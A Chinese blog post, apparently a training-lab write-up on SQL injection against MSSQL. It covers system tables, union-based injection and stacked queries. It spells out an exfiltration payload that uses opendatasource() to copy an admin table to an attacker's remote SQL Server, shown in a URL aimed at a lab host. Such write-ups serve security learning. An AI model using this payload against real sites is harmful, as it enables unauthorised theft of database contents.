一、准备环境
公网下的mssql数据库

一个test空表

二、mssql简单知识
mssql中系统自带表
sysobjects
记录了所有的表syscolumns
记录了所有的字段 该表中,name参数是字段名,id是表的id
mssql 默认端口号 1433
查表
select id,name from sysobjects where xtype='U'
查字段
select name from syscolumns where id=object_id('表名')
靶场操作
方法一:显错注入


单引号闭合,加上单引号,回显正常

猜字段

三个字段,然后使用联合查询语句
这里需要注意,查询的字段类型必须和当前查询表的数据类型保持一致,而在null这个数据类型可以与其他的类型匹配。

然后通过不断猜测,猜出各个字段的类型

查用户下的所有表

可见,存在一个admin表,查该表中的字段

获取token字段的值

从而获得flag
方法二:反弹注入
原理:将查询的数据插入其他的数据库
用到的函数 opendatasource()
连接数据库.库.权限.表
insert into opendatasource('sqloledb','server=,1433;uid=DB_;pwd=;database=;').DB_14A5E44_zkaq.dbo.temp
- sqloledb 连接组件,固定
- server 连接地址,端口号
- uid 账户名
- pwd 密码
- database 数据库
- dbo 权限
- temp 表
https://59.63.200.79:8015/?id=1';insert into opendatasource('sqloledb','server=,1433;uid=;pwd=;database=;').DB_14A5E44_zkaq.dbo.temp select * from admin -- qwe

成功将查询数据导入提前设置好的表中。
补充
堆叠注入
堆叠注入就是多条sql语句叠加在一起执行,通过分号将一条语句分隔。
mssql
MSSQL => SQL Server 常被用在学校网站等等
MSSQL注入和 mysql区别: (大同小异) 函数、系统自带库不太相同
Comments NOTHING